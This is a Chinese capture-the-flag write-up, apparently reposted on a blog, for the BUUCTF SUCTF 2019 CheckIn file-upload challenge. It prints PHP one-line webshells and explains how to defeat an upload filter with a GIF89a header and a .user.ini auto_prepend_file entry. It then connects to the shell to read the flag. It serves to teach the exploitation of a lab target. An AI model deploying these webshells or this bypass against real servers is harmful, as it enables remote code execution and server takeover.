本文主要是介绍BUUCTF__[SUCTF 2019]CheckIn_题解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
一、前言
- 最近有点烦,感觉自己什么都不会。估计是在家待的太久了,浪费了很多时间。
- 这学期不开学了,真烦,被网课折磨,这都快期末了。
二、看题
- 一个文件上传的题目,而且给了源码,但可能没有也能做。
- 不过我看wp都看的很懵。
- 先尝试上传一张正常的图片,回显了文件目录
- 再尝试上传php一句话木马。提示非法后缀
<?php @eval($_POST['post']) ?>
- 再尝试改一下文件后缀,提示有 <? 应该是黑名单过滤。
- 所以尝试用
<script language="php">eval($_POST['a']);</script>
,提示这不是图片
- 注意前面的
exif_imagetype
这是图片用来判断文件类型的函数,在给出的源码也能发现。 - 然后呢?然后呢?然后呢?
三、研究
一句话木马变形
- 说一下一句话木马,天真的我以为只有
<?php @eval($_POST['post']) ?>
- 然而还是太天真了,一句话木马有很多姿势,是值得深入研究的内容,毕竟危害太大了,可以为所欲为。
- 一句话木马常见的可以是用php、jsp、asp、aspx写的,看蚁剑连接方式就能发现。而且内容远远不是这么简单。可以自行了解。
- 所以我们需要让一句话木马里没有
<?
所以用了<script language="php">eval($_POST['a']);</script>
,但本质上还是 PHP 一句话木马,因为执行函数还是 PHP 的eval()
。
绕过文件检测
- 首先了解到用的是
exif_imagetype()
函数检测文件类型。 - 简单的说,这个函数是通过检测你上传的文件名的文件头来确定文件类型。文件头通常在文件开头几个字节,相当于一个标识符。具体可以自行了解。
- 所以我们只要在文件开头加上图片的文件头,就会会认为是图片文件。
- 但仍然无法直接上传 PHP 文件。因为文件后缀正则匹配了ph、而且对大小写不敏感。
if (preg_match("/ph|htacess/i", $extension)) {die("illegal suffix!");}
- 所以我们如果上传图片马得有办法让它被当作 PHP 文件执行。所以重点来了。
执行图片马
- 目前已知可以上传修改文件名和条件文件头的php文件,但无法被解析。
- 虽然在apache中,可以用
.htacess
文件来实现,可也被正则了。
.user.ini
- 简单的说,我们应该知道 PHP 中的配置文件
php.ini
,很多操作都需要修改它,比如说可以隐藏报错、修改上传文件限制等。 - 而我们要用的
.user.ini
也是 PHP 的一个配置文件,但没有php.ini
等级高。就像admin用户和普通用户的差别,php.ini
有很多配置权限,但.user.ini
没有。详情了解,可以看看这个 - 但仍然可以帮助我们执行图片马原因有以下的配置选项。
auto_prepend_file 或 auto_append_file
auto_prepend_file 在页面顶部加载文件 auto_append_file 在页面底部加载文件
- 什么意思呢,相当于在每个php页面加上一句
include()
,可以在PHP中加载执行另一个PHP文件。 - 注意,是每个,也就是说只要有 PHP 文件被加载,就会去加载执行这个文件,而且是以 PHP 的方式解析。
- 所以,我们上面绕过了了文件验证,上传了一个
.user.ini
文件,再上传一个图片马,让被执行的 PHP 文件去包含执行我们的图片马,就可以用蚁剑连接来得到flag。
四、解题
-
首先我们先创建一个图片马。
-
最简单的方式就是先上传一个后缀名为 GIF的 PHP 文件,再抓包加上文件头文本 GIF89a ,或者把文件用winhex或其它工具十六进制打开,在文件头加上相应的十六进制数。当然也可以用 png 或 jpg 形式的图片马,只不过添加文件头只能通过加十六进制数而已,还是抓包简单。
-
成功传入图片马,再上传 包含auto_prepend_file配置选项的
.user.ini
文件,让它去包含我们上传的图片马。
-
成功传入
.user.ini
同时,知道了存在被执行的index.php
文件,同时知道了文件路径,所以用蚁剑来连接。http://69a5ba54-c3eb-4c89-95f2-648ef5626820.node3.buuoj.cn/uploads/48cd8b43081896fbd0931d204f947663/index.php
- 连接成功,寻找flag,直接终端用 linux 命令行
cat /flag
得到 flag
- 结束,有一点是会不定时清理上传的文件,连接失败了可以再尝试上传一次。
五、最后
- 接触到了新的知识点 ,
.user.ini
,学到了文件上传新姿势。 - 附上原题链接
- 持续更新BUUCTF题解,写的不是很好,欢迎指正。
- 最后欢迎来访 个人博客
这篇关于BUUCTF__[SUCTF 2019]CheckIn_题解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!